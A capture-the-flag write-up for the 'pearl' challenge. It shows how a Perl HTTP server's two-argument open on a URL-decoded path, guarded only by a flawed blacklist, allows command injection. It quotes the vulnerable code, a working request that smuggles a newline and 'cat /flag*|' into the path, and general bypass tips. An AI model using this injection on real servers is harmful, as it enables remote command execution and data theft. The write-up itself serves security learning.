๐ฆ Challenge source
๐ Introduction
The “pearl” challenge is about abusing Perlโs two-argument open on unsanitized user input, which silently enables pipe opens (command execution) when the filename ends with a |. The server also URL-decodes the path, so we can inject a newline and arguments. A partial blacklist misses this single trailing pipe case, letting us execute cat /flag* and read the flag.
Context Explanation
- Tech: custom HTTP server using
HTTP::Daemon(Perl), serving files from./files(seeserver.pl). - Entry point: request path (after URL decoding) is used to build a filesystem path, then passed to two-arg
open. - “Sanitization”: a blacklist regex tries to block
.., some shell metacharacters, and|.*|, but does not block a single trailing|and does not block newlines. - Flag: built at container start (
flag.txtmoved/renamed to/flag-<md5>.txt), so/flag*reliably matches.
RUN mv /flag.txt /flag-$(md5sum /flag.txt | awk '{print $1}').txt
Directive
- Craft a request path that, after URL-decoding, injects a newline and a shell command ending with a trailing pipe
|. - Hit the server with that path so the two-arg
opentreats it as a pipe open and executes our command. - Use a glob
/flag*to catch the randomized flag filename and read it.
๐ ๏ธ Solution
1) Server behavior & vulnerable code
Relevant pieces from server.pl:
my $webroot = "./files";
...
while (my $r = $c->get_request) {
if ($r->method eq 'GET') {
my $path = CGI::unescape($r->uri->path); # URL-decodes (%0A => newline)
$path =~ s|^/||;
$path ||= 'index.html';
my $fullpath = File::Spec->catfile($webroot, $path);
# Partial blacklist โ note it only bans a pipe WHEN followed by ... another pipe
if ($fullpath =~ /\.\.|[,\`\)\(;&]|\|.*\|/) {
$c->send_error(RC_BAD_REQUEST, "Invalid path");
next;
}
...
# Serve file
open(my $fh, $fullpath) or do { # <-- two-arg open on untrusted string
$c->send_error(RC_INTERNAL_SERVER_ERROR, "Could not open file.");
next;
};
binmode $fh;
my $content = do { local $/; <$fh> };
close $fh;
...
Key points:
CGI::unescapedecodes%0Ato a literal newline inside$path.- The regex does not forbid a single trailing
|; it only matches\|.*\|(a pipe, some stuff, then another pipe). - Two-argument
openon a string that ends with|turns into a pipe read from the preceding shell command (Perl feature). โ If$fullpathbecomes e.g."./files/x\ncat /flag*|", Perl executescat /flag*and pipes its output into$fh.
[Screenshot:
server.plshowing the blacklist line and theopen(my $fh, $fullpath)call]
Also from Dockerfile:
COPY flag.txt /
RUN mv /flag.txt /flag-$(md5sum /flag.txt | awk '{print $1}').txt
This is why /flag* is a reliable glob target for the flag.
2) PoC request (as provided) โ newline + trailing pipe
The provided PoC (pearl/poc/pearl.txt) sends a raw HTTP request:
GET /x%0Acat%20/flag*%7C HTTP/1.1
Host: pearl.chal.imaginaryctf.org
Connection: keep-alive
URL-decoded path becomes:
/x
cat /flag*|
- Line 1 is a dummy filename under
./files/(likely non-existent). - Line 2 is the shell command we want the Perl
opento execute (because it ends with|). - Net effect: two-arg
opentreats$fullpathas a pipe, runscat /flag*, and returns the flag content.

3) Why it works (concise)
- Two-arg
openon an untrusted scalar enables special modes: a trailing|is a pipe open (command execution). - The blacklist misses the single trailing
|pattern and doesnโt strip newlines, letting us smuggle a separate shell command after a filename. CGI::unescapeensures%0Abecomes a real newline inside the “filename.”/flag*matches the randomized flag file produced at container startup.
Tips & Tricks
- Perl open gotcha: If you see
open($fh, $user_input), think pipe opens. Trailing|(read from command) and leading|(write to command) are classic primitives. - Bypass weak blacklists: Patterns like
\|.*\|miss single pipes. Combine with newlines (%0A) to break parsing and inject arguments naturally. - Globs vs. randomized filenames: When flags are renamed with a hash, use shell globs (
/flag*) in your injected command to avoid guessing the exact name.